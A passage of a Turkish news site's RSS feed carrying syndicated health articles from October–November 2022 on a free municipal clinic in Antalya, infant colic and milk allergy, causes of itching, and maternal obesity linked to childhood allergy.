editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 01 Nov 2022 11:01:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/82-yasinda-yeniden-yuruyebilecek-eKPdAG2d.jpg"/>
            </item>
                                <item>
                <title>Gülümseyin, hastanedesiniz!</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/gulumseyin-hastanedesiniz-548469</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/gulumseyin-hastanedesiniz-548469</guid>
                <description><![CDATA[ANTALYA (İGFA) - Merkezde diş tedavisi, evde sağlık, psikolojik destek ve sünnet hizmetleriyle vatandaşa sağlık hizmeti sunuluyor. Üstelik tüm bu ...]]></description>
                <content:encoded><![CDATA[<img src="https://www.igfhaber.com/static/gu/gulumseyin-hastanedesiniz-1667284100-931-x750.jpg" /><br /><p><p>ANTALYA (İGFA) - Merkezde diş tedavisi, evde sağlık, psikolojik destek ve sünnet hizmetleriyle vatandaşa sağlık hizmeti sunuluyor. Üstelik tüm bu hizmetler tamamen ücretsiz. </p>  <p>Antalya Büyükşehir Belediyesi, halkın daha rahat sağlık hizmeti alabilmesi için Kepez ilçesinde modern bir sağlık merkezi kurdu. Teknolojinin tüm imkanlarının kullanıldığı Antalya Büyükşehir Belediyesi Sağlık Merkezinde, ağız ve diş sağlığı konusunda tanı ve tedavi işlemleri, psikolog desteği, evde sağlık ve sünnet hizmetleri vatandaşlara ücretsiz veriliyor. Merkez içerisinde panoramik röntgen cihazı, bebek bakım ve oyun odası da bulunuyor.</p>  <p><strong>Çocuk Ve Yetişkinlere Ücretsiz Diş Tedavisi</strong></p>  <p>Merkez bünyesindeki Ağız ve Diş Sağlığı Polikliniği’nde 7-14 yaş arası çocuklar ile yetişkinlere yönelik ağız diş muayenesi, panoramik röntgen çekimi, dolgu, kanal tedavisi, diş çekimi ve diş taşı temizliği gibi tedaviler sosyal güvence aranmaksızın ücretsiz olarak gerçekleştiriliyor. 7 yaş ve üstü çocuklar ile yetişkin hastalar randevu alarak poliklinikte diş tedavilerini yaptırabiliyor. Poliklinikte 2019 yılından itibaren 34 bin 377 hasta ağırlanırken, 77 bin 911 sağlık işlemi yapıldı. </p>  <p><strong>Sünnet Hizmeti Bir İlk</strong></p>  <p>Antalya Büyükşehir Belediyesi Sağlık Merkezindeki sünnet kliniği de çocuklara ücretsiz sünnet hizmeti veriyor. Ücretsiz sünnet hizmeti Türkiye’de ilk olma özelliği taşıyor. 2021</p>  <p>Kasım ayında başlayan sünnet hizmetinden bugüne kadar 609 çocuk yararlandı. 0-3 ve 6-12 yaş arasındaki çocukların ücretsiz sünnet yapıldığı merkezden aileler de çok memnun.</p>  <p><strong>Vatandaşa Evinde Sağlık Desteği</strong></p>  <p>Antalya Büyükşehir Belediyesi Sağlık Merkezi bünyesindeki Evde Sağlık Birimi, engelli, yaşlı veya yatalak durumda olan vatandaşların yanında oluyor. Doktor, hemşire, fizyoterapist, bakım personeli tarafından evlerinde ziyaret edilen hastalar, kendini yalnız hissetmiyor. Enjeksiyon, sonda takılması, şeker-tansiyon ölçümü ve diş muayeneleri gerçekleştirilen, evleri temizlenen ve öz bakımı yapılan hastalara aynı zamanda tıbbi malzeme desteği de sağlanıyor. Hastanede müdahale gerektiren bir durum söz konusu olduğunda ise hasta, nakil ambulansı ile hastaneye götürülüyor.</p>  <p><strong>Psikolog Hizmeti</strong></p>  <p>Sağlık Merkezi’nde vatandaşlara psikolog hizmeti de sunuluyor. 7 yaştan itibaren çocuk, ergen ve yetişkin bireylere sınav kaygısı, aile içi iletişim problemleri, akran ilişkileri, ergenlik problemleri gibi konularda destek veriliyor. Ayrıca sünnet ve diş tedavisi için gelen ve kaygıları olan çocuk veya yetişkinlere de destek olunuyor.</p></p><p style="text-align: center; ">Haberin Kaynağı: İGF Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">İGF Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Tue, 01 Nov 2022 10:00:06 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/11/gulumseyin-hastanedesiniz-5EtOH5yK.jpg"/>
            </item>
                                <item>
                <title>Bebeklerde Gaz Sancısının Nedeni Besin Alerjisi Kaynaklı Olabilir</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/bebeklerde-gaz-sancisinin-nedeni-besin-alerjisi-kaynakli-olabilir-548422</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/bebeklerde-gaz-sancisinin-nedeni-besin-alerjisi-kaynakli-olabilir-548422</guid>
                <description><![CDATA[Alerji ve Astım Derneği üyesi Çocuk Alerji Uzmanı Uzm. Dr. Gizem Atakul bebeklerde gaz sancısının nedenleri arasında besin alerjiside olabilir ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><span>Alerji ve Astım Derneği üyesi Çocuk Alerji Uzmanı Uzm. Dr. Gizem Atakul bebeklerde gaz sancısının nedenleri arasında besin alerjiside olabilir dedi.</span></span></span><br/>  </p> <p><span><span>Ağlamak, bir bebeğin temel iletişim kurma şekillerinden biridir. Genellikle aç, yorgun, yeni bir beze ihtiyacı olduğunu, rahatsız olduğunu veya sıkıldığını ya da sadece kucaklanmak istediklerini bildirmek için olabilir. Ancak bazı bebekler belirgin bir sebep olmaksızın diğerlerinden daha yüksek sesle ve daha uzun süre ağlarlar. </span></span></p>  <p><span><span>Alerji ve Astım Derneği üyesi Çocuk Alerji Uzmanı Uzm. Dr. Gizem Atakul bebeklerde gaz sancısının nedenleri arasında besin alerjiside olabilir dedi.</span></span></p>  <p><b><span><span>Kolik nedir?</span></span></b></p> <p><span><span>Kolik, yaşamın ilk birkaç ayında belirgin bir neden olmaksızın uzun ağlama veya huzursuz dönemleri ifade etmek için kullanılır. “Üç kuralı” en yaygın olarak kullanılan kolik tanımıdır. Bu, günde 3 saatten fazla, haftada 3 günden fazla ve 3 haftadan uzun süren normal olmayan ağlama için kullanılır. Kolikte ağlama nöbetleri genellikle aniden başlar ve akşamları yoğunlaşır. Ağlama sesi normalden daha yüksek ve daha tizdir. Klasik olarak kolikli bebek normal büyür ve dışkısı normaldir. Yaklaşık olarak bebeklerin 30’unda görülür. Bu ağlama nöbetleri bebeklerin 60'ında 3 aylıkken, 90'ında da 4 aylıkken iyileşir. Koliğin bilinen hiçbir uzun vadeli zararlı etkisi yoktur.</span></span></p>  <p><span><span>Bebeğinizde kolik varsa, ağlama nöbeti sırasında bacaklarını karnına çekebilir, sırtını kamburlaştırabilir, kollarını ve bacaklarını kasıp, gaz çıkarabilir ve gergin, şişkin bir karına sahip olabilir. Bu davranışlar ve sakinleştirilemeyen ağlamalar tipik olarak doğumdan birkaç hafta sonra başlar.</span></span></p>  <p><b><span><span>Kolik ve inek sütü alerjisi</span></span></b></p> <p><span><span>Kolik, inek sütü alerjisinin olası bir belirtisidir. Kolik tipi ağlama nöbetleri, geç tip alerjik reaksiyona bağlı olarak, inek sütü ile karşılaştıktan sonraki birkaç saat veya gün içinde ortaya çıkabilir. Eğer sadece anne sütü ile besleniyorsa bebek inek sütü ile annenin yediği gıdalar yolu ile karşılaşır. Eğer bebeğe mama veriliyorsa bu mamalar inek sütünden üretilmektedir ve dolayısıyla bebek inek sütüne eş protein ile bu yolla karşılaşacaktır.</span></span></p>  <p><span><span>İnek sütü alerjisi olan bebeklerde kolikler şikayetlerden sadece biridir. Alerjiden gördüğümüz ağlama nöbetlerinin kolikteki nöbetlerden birkaç farkı var.</span></span></p>  <p><span><span><strong>1-Zaman: </strong>Kolikte ağlama nöbetleri genellikle geç öğleden sonra ya da akşam saatlerinde başlar ve günde en az 3 saat sürer. Alerjide ise ağlama nöbetlerinin belirli bir zaman aralığı olmaz gün içinde her saatte olabilir.</span></span></p>  <p><span><span><strong>2-Eşlik eden belirtiler: </strong>Kolikte eşlik eden başka belirti yoktur. Tamamen sağlıklı bir bebektir. Alerjide ise egzama, ishal, kusma, kakada kan gibi başka belirtiler vardır.</span></span></p>  <p><span><span><strong>3-Beslenme</strong>: Kolik beslenme tekniklerinden etkilenir. Fazla ya da az beslenme, biberona bağlı hava yutma gibi. Alerjide belirtiler ise beslenme tekniğinden bağımsızdır.</span></span></p>  <p><span><span><strong>4- Kaka</strong>: Kolik bebeklerde kaka normal görünümdedir. Altın sarı renginde, yumuşak cıvık kıvamda ve içi tanelidir. Alerji var ise kabızlık, ishal, kakada canlı kırmızı renkte kan, sümüksü görünüm olabilir.</span></span></p>  <p><span><span><strong>5-Diyet</strong>: Gaz sancısı genelde tüketilen besinlerle ilişkisizdir. Alerjide ise şikayetlerden sorumlu olan besin tüketilmezse belirtiler tamamen geriler. Her tüketildiğinde ide belirtiler tekrar başlar.</span></span></p>  <p><span><span><strong>Eğer alerji şüpheniz varsa mutlaka çocuk alerji uzmanı ile görüşün. Gereksiz yapılan geniş diyetler hem anne sütünün besleyici özelliklerini etkilemekte hem de annenin sağlığını olumsuz etkilemektedir.</strong></span></span></p>  <p><b><span><span>Kolik olan bir bebeği yatıştırmak için ne yapabilirim?</span></span></b></p>  <p><span><span>Aşağıdaki yöntemler, kolikli bir bebeği yatıştırmak için yardımcı olabilir. Unutmayın, her bebek farklı tepki verir, bu nedenle bebeğiniz için en iyi olanı bulmadan önce çeşitli teknikleri denemeniz gerekebilir.</span></span></p>  <p><span><span>Bebeğinizi yarım kundaklamak veya ince, büyük bir battaniyeye sarmak, rahim hissini yeniden yarattığı için kendilerini daha güvende hissetmelerini sağlayabilir.</span></span></p>  <p><span><span>Yürürken bebeğinizi göğsünüzün önünde bir kanguru veya sling yardımıyla taşıyın. Vücut teması ve hareket sakinleştiricidir. Gazı kolay çıkarmasını sağlamak için sırtını hafifçe ovuştururken bebeğinizi dizlerinizin üzerine yatırın.</span></span></p>  <p><span><span>Sabit, ritmik hareketler yatıştırıcıdır. Bir sandalyede sallanırken bebeğinizi kucaklayın veya bir bebek salıncağı ya da titreşimli bir bebek koltuğu deneyin.</span></span></p>  <p><span><span>Yumuşak müzik, beyaz gürültü, fan veya kalp atışı ses kaydı ile rahatlatıcı rahim ortamını yeniden yaratın.</span></span></p>  <p><span><span>Bebeğinizin emmek için elini, parmaklarını veya başparmaklarını bulmasına yardım edin veya yatıştırmak için bir emzik vermeyi düşünün.</span></span></p>  <p><span><span>Bebeğinize masaj yapın. Bebekler ten tene teması sever ve araştırmalar düzenli olarak masaj yapılan bebeklerin daha az ağladığını ve daha az telaşlandığını göstermektedir.</span></span></p>  <p><span><span>Hala bebeğinizi sakinleştirmekte zorlanıyorsanız veya sağlığıyla ilgili endişeleriniz varsa, daha fazla tavsiye için bir doktorunuzla görüşün.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 16:44:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/bebeklerde-gaz-sancisinin-nedeni-besin-alerjisi-kaynakli-olabilir-jXrEVqda.jpg"/>
            </item>
                                <item>
                <title>Kaşıntı Neden Olur Kaşıntıya Ne İyi Gelir</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/kasinti-neden-olur-kasintiya-ne-iyi-gelir-548414</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/kasinti-neden-olur-kasintiya-ne-iyi-gelir-548414</guid>
                <description><![CDATA[Alerji ve Astım Derneği üyesi Çocuk Alerji Uzmanı Uzm. Dr. Gizem Atakul ciltte oluşan kaşıntı nedenleri ve tedavileri hakkında ayrıntılı bilgiler ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><span>Alerji ve Astım Derneği üyesi Çocuk Alerji Uzmanı Uzm. Dr. Gizem Atakul ciltte oluşan kaşıntı nedenleri ve tedavileri hakkında ayrıntılı bilgiler verdi.</span></span></span><br/>  </p> <p><span><span><span>Bazı çocuklar ve erişkinler için kaşıntı, nedenini ve çaresini bulamadıkları uzun süreli bir sorun. Basit bir şikayet gibi görünse de kişinin günlük hayatını, gece uykusunu ve sosyal yaşamını etkileyen önemli bir problemdir. Kaşıntılı cilt, bir cilt hastalığı nedeniyle olabileceği gibi karaciğer hastalığı, böbrek yetmezliği, nörolojik ve bazı psikiyatrik hastalıklar gibi daha ciddi bir durumun belirtisi de olabilir. Kaşıntının giderilmesi için altta yatan sorunu belirlemek ve nedeni tedavi etmek önemlidir.</span></span></span></p>  <p><span><span><span>Cilt, vücudumuzu dış ortamdan koruyan bariyer olarak görev alır ve bu bizim için hayati bir fonksiyondur. Virüs, bakteri gibi mikroorganizmaların yanı sıra kimyasallar ve diğer gizli tehditlerden koruyabilen bağışıklık sisteminin özel hücreleri ile doludur.</span></span></span></p>  <p><span><span><span>Deri hücreleri şüpheli bir madde ile karşılaştığında o maddeyi tanımak ve vücudu korumak için bağışıklık sistemi devreye girer, o bölgenin inflamasyonuna neden olan bir reaksiyonu başlatır. Bu inflamasyon dermatit veya döküntü olarak adlandırır. Bu reaksiyon kaşıntıya neden olabilir.</span></span></span></p>  <p><span><span><span>Kaşıntı, birçok cilt hastalığında ortak bir belirtidir. Kaşıntı tüm vücutta veya sadece belirli bölgede olabilir. Kaşıntının en sık nedenlerini Alerji ve Astım Derneği üyesi Çocuk Alerji Uzmanı Uzm. Dr. Gizem Atakul şunları söyledi:</span></span></span></p>  <p><span><span><span>Kuru cilt</span></span></span></p> <p><span><span><span>Kuru cilt, kaşıntılı cildin en yaygın nedenlerinden biridir. Eğer cilt üzerinde kırmızı bir döküntü yoksa veya cildinde yeni bir değişiklik yoksa kaşıntının nedeni muhtemelen kuru cilttir.</span></span></span></p>  <p><span><span><span>Düşük nemli bölgelerde aşırı sıcak veya soğuk havalar kuru cilde yol açabilecek çevresel faktörlerdir. Cildin çok fazla yıkanması da cildin kurumasına neden olur. İnsanlar yaşlandıkça ciltleri daha ince ve kuru hale gelir ancak yine de cilt kuruluğu her yaş grubunda görülebilir.</span></span></span></p>  <p><span><span><span>İyi bir nemlendirici genellikle kuru cilde bağlı şikayetleri hafifletmeye yardımcı olur. Aşırı kuru cilt ise atopik dermatit için bir işaret olabilir.</span></span></span></p>  <p><span><span><span>Kuru cildin belirtileri; pürüzlü, pullu veya dökülen cilt, aşırı kaşıntı, ciltte kanamaya eğilimli çatlaklar, çatlamış dudaklardır.</span></span></span></p>  <p><span><span><span>Çok kuru cilt mutlaka tedavi edilmelidir. Deri bütünlüğünün, bariyer görevinin bozulduğu bu durumda meydana gelen çatlaklar mikropların ve kimyasalların derinin altına geçmesi için risk oluşturur. Bu nedenle enfeksiyonlar ve varsa dermatitin kötüleşmesine neden olabilir.</span></span></span></p>  <p><span><span><span>Tedavide cilt yapısına uygun özel bir nemlendiriciler, beraberinde dermatit varsa antienflamatuvar veya kortizon içeren kremler kullanılabilir. Kuru cilde neden olacak faktörlerden kaçınmak önemlidir.</span></span></span></p>  <p><span><span><span>Egzama</span></span></span></p> <p><span><span><span>Egzama veya atopik dermatit, çocuklarda deri döküntüsünün yaygın bir nedenidir. Çocukların 10-20'sinde, yetişkinlerin de 1-3'ünde görülür.</span></span></span></p>  <p><span><span><span>Deri bariyerinin yapısı bozulmuş ve sızdırmazlık özelliğinin kaybolması nedeniyle meydana gelir. Cilt sıvı kaybı nedeniyle kurur, tahriş edici ve alerjenlerin cilde girmesine izin vererek o bölgede inflamasyona neden olur. Egzamada, cildi nemli tutmak çok önemlidir. Özellikle bebeklerde egzama zamanla düzelebilir. Bununla birlikte, cilt enfeksiyonlarına karşı daha savunmasız oldukları için egzaması olan kişiler dikkatli olmalıdır. Orta-ağır ciddiyette ve yaygın egzaması olan bebekler ise altta yatan besin alerjisi riski nedeniyle alerji hekimlerince değerlendirilmelidir. Erişkinlerde ise altta yatan nikel veya kimyasal madde alerjisi açısından değerlendirilmelidir.</span></span></span></p>  <p><span><span><span>Alerjiler</span></span></span></p> <p><span><span><span>Tahriş ve alerjik reaksiyonlar da kaşıntılı cilde neden olabilir. Alerjik kontakt dermatit toplumda sık gördüğümüz bir alerjik deri hastalığıdır. Cilt bir alerjenle doğrudan temas ettiğinde ortaya çıkar. Sadece temas ettiği yüzeye sınırlı bir kızarıklık kaşıntı olur.</span></span></span></p>  <p><span><span><span>Alerjik bir reaksiyonunun cildimize yansıması kaşıntılı, kırmızı renkte, küçük kabarcıklar, şişlikler şeklinde olabilir. Kızarıklıklar genellikle alerjenle karşılaştıktan belli bir süre sonra çıkar. Erken tip alerjilerde bu süre 15-30 dk iken gecikmiş tip alerjilerde birkaç gün sonra bile döküntü meydana gelebilir.</span></span></span></p>  <p><span><span><span>Giysiler, evcil hayvanlar, kimyasallar, sabunlar, bazı bitkiler veya kozmetik gibi maddelere temas etmek ciltte alerjik reaksiyonları tetikleyebilir. Altta yatan bir besin alerjisi de cildin kaşınmasına neden olabilir.</span></span></span></p>  <p><span><span><span>Nikel alerjisi oldukça yaygındır. Nikel alerjisi olan kişi, nikel içeren mücevherlerle temas ettiğinde, temas noktasında kırmızı, kaşıntılı, kabarık, bazen ise akıntılı bir alerjik tepki verir.</span></span></span></p>  <p><span><span><span>Alerjilerde tedavinin temeli alerjisi olan maddeden kişinin kaçınmasıdır. Bu nedenle alerjik reaksiyona neden olan maddeyi bulmak oldukça önemlidir. Böylece uzun süreli ve sık tekrarlanan tedavilere gerek olmayacaktır. Eğer cildinizde bir alerjik döküntü olduğunu düşünüyorsanız nedeni bulmak için bir alerji uzmanına başvurunuz.</span></span></span></p>  <p><span><span><span>Susuzluk</span></span></span></p> <p><span><span><span>Yeterli sıvı almamak vücudu dehidratasyon olarak adlandırılan bir durumuna sokar. Yeterli sıvı almadığınız uzun süreli veya tekrarlayan dönemleriniz varsa, bu dehidratasyona neden olabilir. Dehidratasyon genellikle kuru cilde neden olur ve bu da kaşıntıya neden olabilir.</span></span></span></p>  <p><span><span><span>Susuz kalmış bir kişinin cildi kuru, donuk görünebilir. Dehidratasyonun diğer belirtileri arasında baş ağrısı, yorgunluk ve kas krampları bulunur.</span></span></span></p>  <p><span><span><span>Susuz kalmış bir kişi, idrar miktarının azaldığını, aynı zamanda daha koyu sarı ve kokulu olduğunu fark edecektir. Ağız kuruluğu ve cildinin esnekliğinde azalma hissedecektir.</span></span></span></p>  <p><span><span><span>Hafif dehidratasyon, özellikle su olmak üzere daha fazla sıvı içerek tedavi edilebilir. Ciddi vakalar için ise tıbbi müdahale gerekir. Kişiler kahve ve alkol alımını azaltarak susuz kalma riskini azaltabilirler.</span></span></span></p>  <p><span><span><span>Kurdeşen (Ürtiker)</span></span></span></p> <p><span><span><span>Kurdeşen, vücutta histamin adı verilen bir kimyasalın salınması sonucu gelişen bir tür cilt bulgusudur. Histamin, küçük kan damarlarından sıvı kaçışına neden olur ve damarlardan dokuya geçen bu sıvı ciltte şişlik meydana getirir. Kurdeşen rahatsız edici kaşıntıya neden olabilir ve nadiren ağrılı olabilir. Ancak, bulaşıcı değildirler.</span></span></span></p>  <p><span><span><span>Kurdeşenin kendisi tipik olarak tehlikeli olmasa da dudakları, dili, boğazı veya nefes almayı etkileyen şişme reaksiyonları acil tıbbi müdahale gerektirir. İki türü vardır.</span></span></span></p>  <p><span><span><span>1.Akut kurdeşen:</span><span> Genellikle belirli bir gıda veya ilaç gibi alerjik bir tetikleyici ile temas ettikten sonra ortaya çıkar. Aşırı sıcak veya soğuk hava, güneşe maruz kalma veya egzersiz gibi alerjik olmayan nedenler de tetikleyici olabilir.</span></span></span></p>  <p><span><span><span>2.Kronik kurdeşen:</span><span> 6 haftadan uzun süren kurdeşendir. Bu durumda altta yatan nedeni bulmak zordur. Aylarca hatta yıllarca sürebilir.  Altta yatan neden belirlenemese bile, durum genellikle zamanla düzelir. Ancak kaşıntılı bu döküntüler kişinin hayatını olumsuz etkiler. Kaşıntı nedeniyle uyku düzeni bozulur, sürekli kaşınan kırmızı renkte bir döküntüye sahip olmak kişinin günlük ve sosyal hayatını da olumsuz etkiler.  </span></span></span></p>  <p><span><span><span>Kurdeşen şikayeti olan hastalar mutlaka bir alerji doktoru tarafından hem etkeni bulmak hem de doğru tedaviyi almak için değerlendirilmelidir.</span></span></span></p>  <p><span><span><span>Böcek ısırıkları</span></span></span></p> <p><span><span><span>Böcek ısırıkları genellikle bir kişinin cildinde bir kabarıklık yapar ve kaşıntıya neden olur. Sivrisinek ve örümcek ısırıkları genellikle kırmızı, şişmiş bir ısırık izi oluşturur.</span></span></span></p>  <p><span><span><span>Tahtakurusu ve uyuz ısırıkları, cildin daha geniş bölgelerinde döküntüye ve vücudun her yerinde kaşıntıya neden olabilir.</span></span></span></p>  <p><span><span><span>Sivrisinek ısırıkları genellikle sadece soktuğu alanda sınırlıdır. Ancak bazen özellikle daha küçük çocuklarda sokma alanı dışında da kızarık, kabarık genellikle içi su dolu kaşıntılı şişliklere neden olabilir.</span></span></span></p>  <p><span><span><span>Psikolojik</span></span></span></p> <p><span><span><span>İnsanlar, altta gerçek bir fiziksel neden olmadan kaşıntı hissi yaşayabilirler. Aşırı kaşıma cilt hasarına neden olabilir. Özellikle depresyon, kaygı/endişe ve obsesif kompulsif bozukluk hastalarında kaşınma hissi görülebilir.</span></span></span></p>  <p><span><span><span>Diğer nedenler</span></span></span></p> <p><span><span><span>Kaşıntı, kıl kurdu veya bit gibi parazitlerin neden olduğu durumlarda da olabilir. Sporcu ayağı gibi mantar enfeksiyonları da ayak parmakları arasında ve çevresinde kaşıntıya neden olabilir.</span></span></span></p>  <p><span><span><span>Kaşıntılı cilt, daha ciddi tıbbi durumlardan da kaynaklanabilir. Şeker hastalığı, sıkışmış sinirler ve zona nöropati adı verilen sinir hastalığı yapar ve şiddetli kaşıntıya neden olabilir.</span></span></span></p>  <p><span><span><span>Sedef hastalığı, ciltte kaşıntı ve rahatsızlık yaratabilen değişikliklere neden olur.</span></span></span></p>  <p><span><span><span>Kaşıntıyı azaltmak için evde neler yapabiliriz?</span></span></span></p> <ul> <li><span><span>Cildin nemli kalmasına yardımcı olmak için daha fazla su içmek</span></span></li> <li><span><span>Cilt üzerine bir nemlendirici krem kullanmak ve günde en az bir veya iki kez uygulamak</span></span></li> <li><span><span>Etkilenen bölgeye soğuk ve ıslak bir bez koymak</span></span></li> <li><span><span>Ilık banyo yapmak</span></span></li> <li><span><span>Boya veya parfüm içermeyen sabunlar seçmek</span></span></li> <li><span><span>Hafif veya kokusuz çamaşır deterjanı kullanmak</span></span></li> <li><span><span>Nikel, mücevher ve yün gibi maddelere hassasiyetiniz varsa bunlardan kaçınmak</span></span></li> <li><span><span>Belki de en önemli kişisel bakım önlemi deriyi çizmekten kaçınmaktır. Çok sert ve hızlı kaşımak cilde zarar verip kaşıntıyı kötüleştirebilir.</span></span></li> </ul>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 16:27:03 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/kasinti-neden-olur-kasintiya-ne-iyi-gelir-q4bf4hbl.jpg"/>
            </item>
                                <item>
                <title>Hamilelikte Görülen Obezite, Bebeğin Alerji Geliştirmesine Neden Oluyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/hamilelikte-gorulen-obezite-bebegin-alerji-gelistirmesine-neden-oluyor-548391</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/hamilelikte-gorulen-obezite-bebegin-alerji-gelistirmesine-neden-oluyor-548391</guid>
                <description><![CDATA[Anne adaylarında görülen obezite, doğacak bebeklerinde alerji görme olasılığını yükseltiyor. Bu nedenle hamileliğe başlangıç kilosu ve ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Anne adaylarında görülen obezite, doğacak bebeklerinde alerji görme olasılığını yükseltiyor. Bu nedenle hamileliğe başlangıç kilosu ve hamilelikte alınan kiloların önemini vurgulayan Besin Alerjisi Derneği Üyesi ve Alerji Diyetisyeni Ecem Tuğba Özkan hamilelikteki kilo kontrolünün, bebeklerde oluşabilecek alerjileri önleyebileceğini söylüyor.</strong></span></span></p>  <p><span><span><strong>Çocuklarda en sık görülen dört alerji </strong>besin alerjisi, egzama, astım ve alerjik rinittir. Alerji belirtileri bir çocuğun sağlığını, eğitimini, sosyal aktivitelerini ve günlük yaşamının tüm yönlerini etkileyebilir.</span></span></p>  <p><span><span>Çocuklardaki alerjiler hem çocuk hem de ebeveyn için rahatsız edici olabilir. Ebeveynler, çocuklarını alerjen tetikleyicilere ve ciddi alerjik reaksiyonlara karşı koruma konusunda endişeli olurlar. Çocuklardaki alerjinin önlenmesinde annenin bir rolü olduğunu söyleyebiliriz, çünkü çocuklarda ortaya çıkan alerjilerinin nedenlerinden biri annenin hamilelikte obez olmasıdır. </span></span></p>  <p><span><span>Anneler hamileliğe aşırı kilolu/obez girdiğinde, hamilelik sırasında fazla kilo almakta ve birçok çocuk da bu nedenle erken çocukluk döneminde alerjik hastalık geliştirmektedir. Küresel olarak, alerjik hastalıklardaki eğilimler salgın oranlarına ulaşarak en yaygın ve en erken başlangıçlı kronik hastalık grubu haline gelmiştir.</span></span></p>  <p><span><span>Yapılan bir araştırmada hamilelik döneminde obez olan annelerin çocuklarında astım geliştirme olasılığı daha yüksek bulunmuştur. Ancak dermatit ve anafilaksi geliştirme olasılığı daha düşük bulunmuştur. Genel olarak hamilelikten önce obez annelerin çocuklarında astım geliştirme riski yüzde 8 daha yüksek çıkmıştır. Bebeklerin yaklaşık yarısı aşırı kilolu veya obez annelerden; üçte biri hamilelik sırasında aşırı kilo alan annelerden doğmuştur.</span></span></p>  <p><span><span><strong>Sonuç olarak</strong>, hamileliğe başlangıçta obezitesi olan bir annenin ve hamilelikte alınan aşırı kilo ile çocuklar erken yaşta alerji hastalıklarına sahip olmaktadır.  </span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberin Kaynağı: Beyaz Haber Ajansı</p><p style="text-align: left;">Not :&nbsp;<font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber&nbsp;</span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;">&nbsp;</span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Mon, 31 Oct 2022 15:12:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/hamilelikte-gorulen-obezite-bebegin-alerji-gelistirmesine-neden-oluyor-ATALKlda.jpg"/>
            </item>
                                <item>
                <title>Güneş ışığı, uyku ihtiyacını azaltıyor</title>
                <category>Sağlık</category>
